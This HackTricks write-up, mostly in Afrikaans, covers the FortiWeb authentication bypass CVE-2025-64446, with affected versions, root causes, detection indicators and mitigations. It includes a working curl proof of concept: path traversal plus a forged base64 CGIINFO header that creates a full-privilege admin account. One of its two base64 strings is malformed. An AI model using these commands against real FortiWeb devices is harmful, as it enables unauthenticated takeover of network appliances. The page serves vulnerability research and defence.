Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Oorsig
Fortinet FortiWeb stel ’n gesentraliseerde CGI-dispatcher beskikbaar by /cgi-bin/fwbcgi. ’n Ketting van twee foutes laat ’n ongemagtigde afstand-aanvaller toe om:
- Bereik
fwbcgideur die URL met ’n geldige API prefix te begin en directories te traverse. - Imiteer enige gebruiker (insluitend die ingeboude
admin) deur ’n spesiale HTTP header te voorsien wat deur die CGI vertrou word as identiteit.
Verskafferadvies: FG‑IR‑25‑910 (CVE‑2025‑64446). Daar is waargeneem dat die kwesbaarheid in die wild uitgebuit is om volhoubare admin-gebruikers te skep.
Geaffekteerde weergawes (soos publieklik gedokumenteer):
- 8.0 < 8.0.2
- 7.6 < 7.6.5
- 7.4 < 7.4.10
- 7.2 < 7.2.12
- 7.0 < 7.0.12
- 6.4 ≤ 6.4.3
- 6.3 ≤ 6.3.23
FortiWeb 8.0.2 stuur HTTP 403 terug vir die traversal probe hieronder.
Vinnige kwesbaarheidstoets
- Path traversal from API prefix to
fwbcgi:
GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: <target>
- Interpretasie: HTTP 200 → waarskynlik kwesbaar; HTTP 403 → gepatch.
Ketting van worteloorsake
- API-prefix path traversal na interne CGI
- Enige versoekpad wat begin met ’n geldige FortiWeb API-prefix (bv.,
/api/v2.0/cmdb/of/api/v2.0/cmd/) kan met../na/cgi-bin/fwbcgitraverseer.
- Minimal-body validation bypass
- Sodra
fwbcgibereik is, voer ’n eerste hek ’n permissiewe JSON-check uit wat gebaseer is op ’n per-pad-lêer onder/var/log/inputcheck/. As die lêer ontbreek, slaag die check onmiddellik. As dit teenwoordig is, hoef die body slegs geldige JSON te wees. Gebruik{}as ’n minimale voldoenende body.
- Header-driven user impersonation
- Die program lees die CGI-omgewingveranderlike
HTTP_CGIINFO(afgelei van die HTTP-headerCGIINFO), Base64-dekodeer dit, parse JSON, en kopieer attribuut direk in die login-konteks, en stel die domain/VDOM. Sleutels van belang: username,loginname,vdom,profname- Voorbeeld JSON om die ingeboude admin na te boots:
{
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}
Base64 van bogenoemde (soos in die praktyk gebruik):
eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb201OiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==
Einde-tot-einde misbruikpatroon (unauthenticated → admin)
- Bereik
/cgi-bin/fwbcgideur API-prefix traversal. - Verskaf enige geldige JSON-body (bv.
{}) om aan die insetkontrole te voldoen. - Stuur header
CGIINFO: <base64(json)>waar die JSON die teiken-identiteit definieer. - POST die backend JSON wat deur
fwbcgiverwag word om bevoorregte aksies uit te voer (bv. skep ’n admin gebruiker vir persistensie).
Minimal cURL PoC
- Probe traversal exposure:
curl -ik 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
- Doen voor as admin en skep ’n nuwe local admin user:
# Base64(JSON) for admin impersonation
B64='eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=='
curl -ik \
-H "CGIINFO: $B64" \
-H 'Content-Type: application/json' \
-X POST \
--data '{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","type":"local-user","type_val":"0","password":"P@ssw0rd!"}}' \
'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
Aantekeninge:
- Enige geldige JSON-body volstaan (bv.
{}) as/var/log/inputcheck/<path>.jsonnie bestaan nie. - Die action schema is FortiWeb-internal; die voorbeeld hierbo voeg ’n plaaslike admin met volle voorregte by.
Opsporing
- Versoeke wat
/cgi-bin/fwbcgibereik via API-prefix-paaie wat../bevat (bv./api/v2.0/cmdb/.../../../../../../cgi-bin/fwbcgi). - Teenwoordigheid van die header
CGIINFOmet Base64 JSON wat die sleutelsusername/loginname/vdom/profnamebevat. - Agterkant-artefakte:
- Per-path-lêers onder
/var/log/inputcheck/(gate-konfigurasie). - Onverwagte admin-skepping en konfigurasie-wijzigings.
- Vinnige validering: die traversal probe wat 200 (exposed) vs 403 (blocked in fixed builds) teruggee.
Mitigasie
- Werk op na gefikste releases (voorbeelde: 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12) volgens die verskaffer-advies.
- Totdat dit gepatch is:
- Moet nie die FortiWeb management plane aan ongevertroude netwerke blootstel nie.
- Voeg reverse-proxy/WAF-reëls by om te blokkeer:
- Paaie wat begin met
/api/en../cgi-bin/fwbcgibevat. - Versoeke wat ’n
CGIINFOheader dra. - Monitor en gee waarskuwings oor die opsporingsaanwysers hierbo.
References
- When the impersonation function gets used to impersonate users — Fortinet FortiWeb auth bypass (watchTowr Labs)
- watchTowr vs FortiWeb Auth Bypass — Detection artefact generator
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks

